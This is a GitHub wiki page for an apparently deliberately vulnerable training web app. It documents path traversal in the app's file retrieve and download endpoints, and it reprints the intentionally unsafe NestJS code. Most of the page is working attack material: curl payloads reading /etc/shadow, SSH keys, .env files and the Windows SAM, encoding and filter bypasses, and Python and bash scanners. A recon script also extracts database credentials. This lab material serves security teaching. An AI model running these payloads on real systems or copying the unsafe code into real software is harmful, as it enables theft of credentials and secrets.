Path Traversal - capstone-hermes/hermes-fullstack GitHub Wiki
Path Traversal
Overview
Path Traversal (also known as Directory Traversal) vulnerabilities allow attackers to access files and directories outside of the intended directory structure. The Weak Website contains multiple path traversal vulnerabilities in its file handling system, enabling attackers to read system files, application source code, and sensitive configuration data.
Vulnerable Implementations
File Retrieval Endpoint
File: server/src/modules/file/file.controller.ts:91-116
@Get('retrieve')
async retrieveFile(@Query('path') filePath: string, @Res() res: Response) {
// V12.3.1: Vulnerable to path traversal
// Allows accessing files outside the uploads directory
this.logger.log(`File retrieval requested: ${filePath}`);
try {
// Dangerous - allows any file on the system to be read
if (fs.existsSync(filePath)) {
const content = fs.readFileSync(filePath, 'utf8');
return res.send(content);
} else {
return res.status(404).json({
error: `File not found: ${filePath}. Server configuration issue.`
});
}
} catch (error) {
return res.status(500).json({
error: `Server error: ${error.message}`,
stack: error.stack
});
}
}
File Download Endpoint
File: server/src/modules/file/file.controller.ts:67-87
@Get('download/:filename')
async downloadFile(@Param('filename') filename: string, @Res() res: Response) {
// V12.3.2: Vulnerable to Local File Inclusion (LFI)
const filePath = path.join(this.uploadPath, filename);
this.logger.log(`File download requested: ${filePath}`);
if (fs.existsSync(filePath)) {
return res.sendFile(filePath, { root: '.' });
} else {
return res.status(404).json({
error: `File not found: ${filePath}. Server cannot access this file.`
});
}
}
Basic Path Traversal Techniques
1. Dot-Dot-Slash Sequences
Linux/Unix Systems
# Access system password file
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"
# Access shadow file (if permissions allow)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/shadow"
# Access SSH keys
curl "http://localhost:8080/file/retrieve?path=../../../../home/user/.ssh/id_rsa"
curl "http://localhost:8080/file/retrieve?path=../../../../root/.ssh/authorized_keys"
# Access system configuration
curl "http://localhost:8080/file/retrieve?path=../../../../etc/hosts"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/hostname"
Windows Systems
# Access Windows system files
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
# Access Windows user profiles
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\users\\administrator\\desktop\\sensitive.txt"
# Access Windows configuration
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\win.ini"
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\system32\\config\\sam"
2. Application File Access
Source Code Extraction
# Access application source code
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/main.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/package.json"
# Access authentication code
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.service.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.controller.ts"
# Access database configuration
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
Configuration Files
# Environment configuration
curl "http://localhost:8080/file/retrieve?path=../../../.env"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env.local"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env.production"
# Docker configuration
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.yml"
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.dev.yml"
curl "http://localhost:8080/file/retrieve?path=../../../Dockerfile"
# Package management
curl "http://localhost:8080/file/retrieve?path=../../../package-lock.json"
curl "http://localhost:8080/file/retrieve?path=../../../server/package-lock.json"
Log Files
# Application logs
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/app.log"
curl "http://localhost:8080/file/retrieve?path=../../../logs/error.log"
curl "http://localhost:8080/file/retrieve?path=../../../logs/access.log"
# System logs
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/syslog"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/auth.log"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/apache2/access.log"
Advanced Path Traversal Techniques
1. Encoding Bypasses
URL Encoding
# Basic URL encoding
curl "http://localhost:8080/file/retrieve?path=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
# Double URL encoding
curl "http://localhost:8080/file/retrieve?path=..%252F..%252F..%252F..%252Fetc%252Fpasswd"
# Mixed encoding
curl "http://localhost:8080/file/retrieve?path=..%2F..%2F..%2F..%2F%65tc%2Fpasswd"
Unicode Encoding
# Unicode dot encoding
curl "http://localhost:8080/file/retrieve?path=%u002e%u002e/%u002e%u002e/%u002e%u002e/%u002e%u002e/etc/passwd"
# UTF-8 encoding
curl "http://localhost:8080/file/retrieve?path=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
2. Path Manipulation
Absolute Paths
# Direct absolute path access
curl "http://localhost:8080/file/retrieve?path=/etc/passwd"
curl "http://localhost:8080/file/retrieve?path=/home/user/.bashrc"
curl "http://localhost:8080/file/retrieve?path=/var/www/html/config.php"
Mixed Separators
# Mixed forward and backward slashes
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\../etc/passwd"
curl "http://localhost:8080/file/retrieve?path=..\\..\\../..\\etc\\passwd"
Null Byte Injection
# Null byte to truncate extension (older systems)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd%00.txt"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd\x00.jpg"
3. Filter Bypass Techniques
Dot Encoding Variations
# Alternative dot representations
curl "http://localhost:8080/file/retrieve?path=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
curl "http://localhost:8080/file/retrieve?path=0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/etc/passwd"
Path Normalization Bypass
# Extra slashes and dots
curl "http://localhost:8080/file/retrieve?path=....//....//....//....//etc/passwd"
curl "http://localhost:8080/file/retrieve?path=..././..././..././..././etc/passwd"
Download Endpoint Exploitation
Basic Directory Traversal
# Download endpoint traversal
curl "http://localhost:8080/file/download/../../../etc/passwd"
curl "http://localhost:8080/file/download/..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
# Access application files
curl "http://localhost:8080/file/download/../../src/app.module.ts"
curl "http://localhost:8080/file/download/../../package.json"
Advanced Download Attacks
# Multiple traversal attempts
curl "http://localhost:8080/file/download/../../../../../../../../../etc/passwd"
# Mixed path separators
curl "http://localhost:8080/file/download/..\\../..\\../etc/passwd"
Automated Path Traversal Testing
Python Path Traversal Scanner
#!/usr/bin/env python3
import requests
import urllib.parse
from pathlib import Path
class PathTraversalScanner:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
# Common system files to test
self.target_files = {
'linux': [
'/etc/passwd',
'/etc/shadow',
'/etc/hosts',
'/etc/hostname',
'/etc/group',
'/root/.ssh/id_rsa',
'/home/user/.ssh/id_rsa',
'/var/log/auth.log',
'/proc/version',
'/proc/cmdline'
],
'windows': [
'C:\\windows\\system32\\drivers\\etc\\hosts',
'C:\\windows\\win.ini',
'C:\\windows\\system32\\config\\sam',
'C:\\users\\administrator\\desktop\\desktop.ini',
'C:\\boot.ini'
],
'application': [
'../../../package.json',
'../../../server/package.json',
'../../../docker-compose.yml',
'../../../.env',
'../../../server/.env',
'../../../server/src/app.module.ts',
'../../../server/src/main.ts'
]
}
# Different traversal payloads
self.traversal_payloads = [
'../../../..',
'../../../../..',
'../../../../../..',
'../../../../../../..',
'../../../../../../../..',
'../../../../../../../../..',
'../../../../../../../../../..',
'../../../../../../../../../../..'
]
def test_file_retrieve(self, file_path):
"""Test file retrieval endpoint"""
url = f"{self.base_url}/file/retrieve"
params = {'path': file_path}
try:
response = self.session.get(url, params=params, timeout=10)
if response.status_code == 200 and len(response.text) > 0:
return {
'status': 'success',
'content_length': len(response.text),
'content_preview': response.text[:200] + '...' if len(response.text) > 200 else response.text
}
elif response.status_code == 404:
return {'status': 'not_found'}
else:
return {'status': 'error', 'code': response.status_code}
except requests.RequestException as e:
return {'status': 'exception', 'error': str(e)}
def test_file_download(self, file_path):
"""Test file download endpoint"""
url = f"{self.base_url}/file/download/{file_path}"
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
return {
'status': 'success',
'content_length': len(response.content),
'content_type': response.headers.get('content-type', 'unknown')
}
else:
return {'status': 'failed', 'code': response.status_code}
except requests.RequestException as e:
return {'status': 'exception', 'error': str(e)}
def test_encoding_bypass(self, file_path):
"""Test various encoding bypasses"""
encodings = [
urllib.parse.quote(file_path), # URL encoding
urllib.parse.quote(urllib.parse.quote(file_path)), # Double encoding
file_path.replace('/', '%2f').replace('\\', '%5c'), # Manual encoding
file_path.replace('../', '%2e%2e%2f'), # Dot encoding
]
results = []
for encoded_path in encodings:
result = self.test_file_retrieve(encoded_path)
if result['status'] == 'success':
results.append({
'encoding': encoded_path,
'result': result
})
return results
def comprehensive_scan(self):
"""Perform comprehensive path traversal scan"""
print("=== Path Traversal Vulnerability Scanner ===")
findings = []
# Test each category of files
for category, files in self.target_files.items():
print(f"\n--- Testing {category} files ---")
for target_file in files:
print(f"Testing: {target_file}")
# Test with different traversal depths
for payload in self.traversal_payloads:
test_path = payload + target_file
# Test retrieve endpoint
result = self.test_file_retrieve(test_path)
if result['status'] == 'success':
findings.append({
'method': 'retrieve',
'path': test_path,
'file': target_file,
'result': result
})
print(f" ✓ FOUND via retrieve: {test_path}")
break # Found, no need to test deeper
# Test download endpoint for relative paths
if not target_file.startswith('/') and not target_file.startswith('C:'):
download_result = self.test_file_download(test_path)
if download_result['status'] == 'success':
findings.append({
'method': 'download',
'path': test_path,
'file': target_file,
'result': download_result
})
print(f" ✓ FOUND via download: {test_path}")
break
# Test encoding bypasses for interesting files
if findings:
print(f"\n--- Testing encoding bypasses ---")
for finding in findings[:3]: # Test first 3 findings
encoded_results = self.test_encoding_bypass(finding['path'])
if encoded_results:
print(f" ✓ Encoding bypass successful for: {finding['file']}")
return findings
def generate_report(self, findings):
"""Generate a report of findings"""
if not findings:
print("\n=== No vulnerabilities found ===")
return
print(f"\n=== VULNERABILITY REPORT ===")
print(f"Found {len(findings)} accessible files:")
for finding in findings:
print(f"\nFile: {finding['file']}")
print(f"Method: {finding['method']}")
print(f"Path: {finding['path']}")
print(f"Content Length: {finding['result'].get('content_length', 'N/A')}")
if 'content_preview' in finding['result']:
print(f"Preview: {finding['result']['content_preview']}")
# Example usage
scanner = PathTraversalScanner("http://localhost:8080")
findings = scanner.comprehensive_scan()
scanner.generate_report(findings)
Bash Path Traversal Testing Script
#!/bin/bash
BASE_URL="http://localhost:8080"
RETRIEVE_ENDPOINT="/file/retrieve"
DOWNLOAD_ENDPOINT="/file/download"
echo "=== Path Traversal Vulnerability Scanner ==="
# Linux system files
LINUX_FILES=(
"/etc/passwd"
"/etc/shadow"
"/etc/hosts"
"/etc/hostname"
"/proc/version"
"/root/.ssh/id_rsa"
)
# Application files
APP_FILES=(
"../../../package.json"
"../../../server/package.json"
"../../../docker-compose.yml"
"../../../.env"
"../../../server/src/app.module.ts"
)
# Traversal payloads
TRAVERSALS=(
"../../../.."
"../../../../.."
"../../../../../.."
"../../../../../../.."
)
echo -e "\n--- Testing Linux System Files ---"
for file in "${LINUX_FILES[@]}"; do
echo "Testing: $file"
for traversal in "${TRAVERSALS[@]}"; do
path="$traversal$file"
echo " Trying: $path"
response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$path")
# Check if response contains typical file content
if [ ${#response} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#response}--gt-50-) && [ ! "$response" =~ "File not found" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"File-not-found"-) && [ ! "$response" =~ "error" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"error"-); then
echo " ✓ SUCCESS: Found $file"
echo " Content preview: ${response:0:100}..."
break
fi
done
done
echo -e "\n--- Testing Application Files ---"
for file in "${APP_FILES[@]}"; do
echo "Testing: $file"
response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$file")
if [ ${#response} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#response}--gt-50-) && [ ! "$response" =~ "File not found" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"File-not-found"-) && [ ! "$response" =~ "error" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"error"-); then
echo " ✓ SUCCESS: Found $file"
echo " Content preview: ${response:0:100}..."
fi
done
echo -e "\n--- Testing Download Endpoint ---"
DOWNLOAD_TESTS=(
"../../../etc/passwd"
"../../src/app.module.ts"
"../../package.json"
)
for test_path in "${DOWNLOAD_TESTS[@]}"; do
echo "Testing download: $test_path"
response=$(curl -s -w "%{http_code}" "$BASE_URL$DOWNLOAD_ENDPOINT/$test_path")
http_code="${response: -3}"
content="${response%???}"
if [ "$http_code" == "200" ](/capstone-hermes/hermes-fullstack/wiki/-"$http_code"-==-"200"-) && [ ${#content} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#content}--gt-10-); then
echo " ✓ SUCCESS: Downloaded via $test_path"
echo " Content preview: ${content:0:100}..."
fi
done
echo -e "\n--- Testing Encoding Bypasses ---"
ENCODED_TESTS=(
"..%2F..%2F..%2F..%2Fetc%2Fpasswd"
"..%252F..%252F..%252F..%252Fetc%252Fpasswd"
"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
)
for encoded_path in "${ENCODED_TESTS[@]}"; do
echo "Testing encoded: $encoded_path"
response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$encoded_path")
if [ ${#response} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#response}--gt-50-) && [ ! "$response" =~ "File not found" ](/capstone-hermes/hermes-fullstack/wiki/-!-"$response"-=~-"File-not-found"-); then
echo " ✓ SUCCESS: Encoding bypass worked"
echo " Content preview: ${response:0:100}..."
fi
done
echo -e "\n=== Scan Complete ==="
Information Gathering via Path Traversal
System Information Collection
# Operating system information
curl "http://localhost:8080/file/retrieve?path=../../../../proc/version"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/os-release"
# System users
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"
# Network configuration
curl "http://localhost:8080/file/retrieve?path=../../../../etc/hosts"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/resolv.conf"
# Running processes
curl "http://localhost:8080/file/retrieve?path=../../../../proc/cmdline"
Application Configuration Extraction
# Database credentials
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
# Environment variables
curl "http://localhost:8080/file/retrieve?path=../../../.env"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env"
# Package dependencies
curl "http://localhost:8080/file/retrieve?path=../../../package.json"
curl "http://localhost:8080/file/retrieve?path=../../../server/package.json"
# Build configuration
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.yml"
curl "http://localhost:8080/file/retrieve?path=../../../Dockerfile"
Source Code Extraction
# Core application files
curl "http://localhost:8080/file/retrieve?path=../../../server/src/main.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
# Authentication system
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.service.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/auth/auth.controller.ts"
# Database models
curl "http://localhost:8080/file/retrieve?path=../../../server/src/modules/user/user.entity.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/post/post.entity.ts"
# Vulnerable components
curl "http://localhost:8080/file/retrieve?path=../../../server/src/vulnerable-params.middleware.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/src/vulnerable-exception.filter.ts"
Log File Analysis
Application Logs
# Application-specific logs
curl "http://localhost:8080/file/retrieve?path=../../../logs/app.log"
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/application.log"
# Error logs
curl "http://localhost:8080/file/retrieve?path=../../../logs/error.log"
curl "http://localhost:8080/file/retrieve?path=../../../server/logs/error.log"
System Logs
# Authentication logs
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/auth.log"
# System messages
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/syslog"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/messages"
# Web server logs
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/nginx/access.log"
curl "http://localhost:8080/file/retrieve?path=../../../../var/log/apache2/access.log"
Attack Chain Examples
Complete System Reconnaissance
#!/bin/bash
# Comprehensive system reconnaissance via path traversal
echo "=== System Reconnaissance via Path Traversal ==="
# Step 1: Identify operating system
echo "1. Operating System Detection"
OS_INFO=$(curl -s "http://localhost:8080/file/retrieve?path=../../../../proc/version")
if [ ${#OS_INFO} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#OS_INFO}--gt-10-); then
echo "✓ Linux system detected: ${OS_INFO:0:100}..."
else
echo "Trying Windows detection..."
WIN_INFO=$(curl -s "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\win.ini")
if [ ${#WIN_INFO} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#WIN_INFO}--gt-10-); then
echo "✓ Windows system detected"
fi
fi
# Step 2: Extract user information
echo -e "\n2. User Enumeration"
USERS=$(curl -s "http://localhost:8080/file/retrieve?path=../../../../etc/passwd")
if [ ${#USERS} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#USERS}--gt-50-); then
echo "✓ User information extracted"
echo "Users found:"
echo "$USERS" | grep -E ":/home/|:/root/" | cut -d: -f1
fi
# Step 3: Extract application configuration
echo -e "\n3. Application Configuration"
CONFIG=$(curl -s "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts")
if [ ${#CONFIG} -gt 50 ](/capstone-hermes/hermes-fullstack/wiki/-${#CONFIG}--gt-50-); then
echo "✓ Application configuration extracted"
# Extract database credentials
echo "Database configuration:"
echo "$CONFIG" | grep -E "(host|port|username|password|database)" | head -5
fi
# Step 4: Extract environment variables
echo -e "\n4. Environment Variables"
ENV_FILE=$(curl -s "http://localhost:8080/file/retrieve?path=../../../.env")
if [ ${#ENV_FILE} -gt 10 ](/capstone-hermes/hermes-fullstack/wiki/-${#ENV_FILE}--gt-10-); then
echo "✓ Environment file found"
echo "Environment variables:"
echo "$ENV_FILE" | head -10
fi
echo -e "\n=== Reconnaissance Complete ==="
Impact and Risk Assessment
Critical Information Exposure
- System Configuration: Access to critical system files
- Application Source Code: Complete application logic exposure
- Database Credentials: Direct database access potential
- Authentication Secrets: JWT secrets and API keys
Business Impact
- Data Breach: Direct access to sensitive data
- System Compromise: Configuration file exposure enables further attacks
- Intellectual Property Theft: Source code and business logic exposure
- Compliance Violations: Unauthorized access to regulated data
Attack Escalation Paths
- Configuration Extraction → Database access → Data breach
- Source Code Analysis → Additional vulnerability discovery
- Log File Analysis → Credential harvesting → Account takeover
- System File Access → Local privilege escalation
Next Steps:
- Explore Command Injection for system command execution
- Learn about File Upload Attacks for complementary file-based attacks
- Review Testing Methodology for systematic vulnerability testing
Related Topics:
- SQL Injection - Database access via injection
- Cross-Site Scripting - Client-side file inclusion
- Authentication Bypass - Combined attack techniques